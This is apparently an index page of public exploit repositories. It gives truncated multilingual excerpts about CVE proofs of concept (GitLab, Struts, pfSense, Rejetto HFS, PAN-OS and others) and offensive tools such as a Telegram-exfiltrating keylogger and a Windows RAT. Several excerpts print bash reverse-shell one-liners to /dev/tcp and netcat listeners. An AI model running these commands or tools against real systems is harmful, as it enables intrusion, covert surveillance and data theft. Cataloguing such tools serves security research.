PIL-CVE-2017-8291

Vulnerabilidad de ejecución remota de comandos en Python PIL GhostButt El módulo PIL Pillow para procesar imágenes en Python se ve afectado por la vulnerabilidad GhostButt CVE-2017-8291 porque llama internamente a GhostScript, lo que resulta en una vulnerabilidad de ejecución remota de comandos...

CVE-2020-14947

CVE-2020-14947 El exploit oficial para OCS Inventory NG v2.7 Ejecución Remota de Comandos CVE-2020-14947...

LibSSH-Authentication-Bypass

LibSSH-Authentication-Bypass LibSSH Authentication Bypass CVE-2018-10933 Usage: To use this script type in: python3 LibAuth.py –help to see all the options and parameters we need to use. So we need to specify the victim’s IP address, port no and finally the command that we want to execute in the...

StrutsShell

StrutsShell Apache Struts（CVE-2017-5638）Shell 简介 "LowNoiseHG LNHG Struts Shell "（以下简称"StrutsShell "）诞生于2017年3月，当时我们认识到无需手动利用Apache Struts CVE-2017-5638漏洞（手动发送HTTP GET请求）的实用性，同时也发现针对该漏洞的相应Metasploit模块无法正常工作（至少在我们的测试案例中如此）。 描述 StrutsShell 的基本操作包括：处理针对被攻击平台（Windows、Linux等）的命令行（shell）输入，并利用Apache...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 利用工具包。 这是什么？ 这是一个针对 pfSense pfBlockerNG = 2.1.426 插件远程命令注入漏洞（由 IHTeam 发现）的利用工具包。 我编写这个工具是为了模拟 NSA 防火墙利用工具包中的一些设计原则——因此，它设计为完全兼容 nopen 植入（只需一个小的、已文档化的修改），内置日志清除功能，并通过实现一些预检检查（被动和主动漏洞测试）来确保极高的可靠性。 提供了一个用 Python 编写的简单反向 TTY Shell 载荷作为本工具...

firepwner

CVE-2015-6357: Exploit FirePWNER para la vulnerabilidad de validación SSL de Cisco FireSIGHT Management Center Introducción Por sí sola, la Vulnerabilidad de validación de certificados de Cisco FireSIGHT Management Center3 es una vulnerabilidad de gravedad media con un CVSS de 5.1. Sin embargo,...

CVE-2021-22205

漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port 0&1' /tmp/1.sh" python3...

ncrack

ncrack Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack was designed...

CVE-2024-10914-Exploit

Herramienta de Explotación SilverX 📌 Descripción SilverX Exploit Tool es un script de pruebas de penetración diseñado para detectar y explotar vulnerabilidades en aplicaciones web. Proporciona una interfaz tipo shell para ejecutar comandos de forma remota en sistemas vulnerables. ⚠️ Aviso Legal...

CVE-2019-20197

Vulnerabilidad de ejecución remota de comandos en Nagios XI CVE-2019-20197 PoC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

cve-2020-11651-exp-plus

Usa bash para ejecutar el parámetro --exec. El script original usaba /bin/sh, por lo que algunos comandos no son compatibles, como las reverse shells de bash. 2. El código original obtenía la versión local de salt-master para determinar si el host remoto estaba afectado, un error de lógica...

Pegasus-Gram

Pegasus-Gram – 高级键盘记录与网络监控套件 🕵️‍♂️ 作者: Letda Kes dr. Sobri, S.Kom 📧 联系方式: [email protected] 🐙 GitHub: github.com/sobri3195 💰 支持项目: 通过 Lynk.id 捐赠 Pegasus-Gram 是一款基于 Python 的高级键盘记录与网络监控工具，集成了 Telegram。它专为道德黑客模拟、红队行动以及授权的网络安全审计而设计。该工具捕获广泛的系统活动，并实时转发到已配置的 Telegram 机器人。 ✨ 核心功能 ✅ 击键记录 –...

CVE-2019-12840_POC

CVE-2019-12840POC Webmin 包更新认证远程命令执行的概念验证（PoC） 另一个 Metasploit 模块的替代方案。 所有功劳归功于 Özkan Mustafa Akkuş https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html...

Lilith

Lilith Herramienta de administración remota RAT de código abierto, nativa y gratuita para Windows Lilith es una RAT ultra ligera basada en consola, desarrollada en C++. Incluye un conjunto sencillo de comandos que permite un control casi completo de una máquina. Descargo de responsabilidad No se...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 Este repositorio contiene una explicación detallada y un PoC funcional para la ejecución remota de comandos en Rejetto HTTP File Server HFS 2.3.x. Configuración: Crea un listener con netcat. nc -lnvp 1234 Cambia la IP del atacante por tu IP...

ipmitest

ipmitest Script de shell para probar la vulnerabilidad de omisión de autenticación de cifrado tipo cero en IPMI CVE-2013-4784 La IPMI es una interfaz estandarizada de sistema informático utilizada por los administradores de sistemas para la gestión fuera de banda de los sistemas informáticos y la...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Dónde...

CVE-2024-3400

Vulnerabilidad CVE-2024-3400 Descripción La vulnerabilidad CVE-2024-3400 es una vulnerabilidad de seguridad que afecta a los cortafuegos PAN-OS en las versiones 10.2, 11.0 y 11.1. Esta vulnerabilidad se explota cuando las configuraciones de puerta de enlace GlobalProtect y telemetría de...

CVE-2025-24893-POC

CVE-2025-24893 Install bun: curl -fsSL https://bun.com/install | bash To install dependencies: bun install To run: bun run CVE-2025-24893.ts This project was created using bun init in bun v1.2.19. Bun is a fast all-in-one JavaScript runtime. How to use: Usage: bun CVE-2025-24893.ts options Option...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...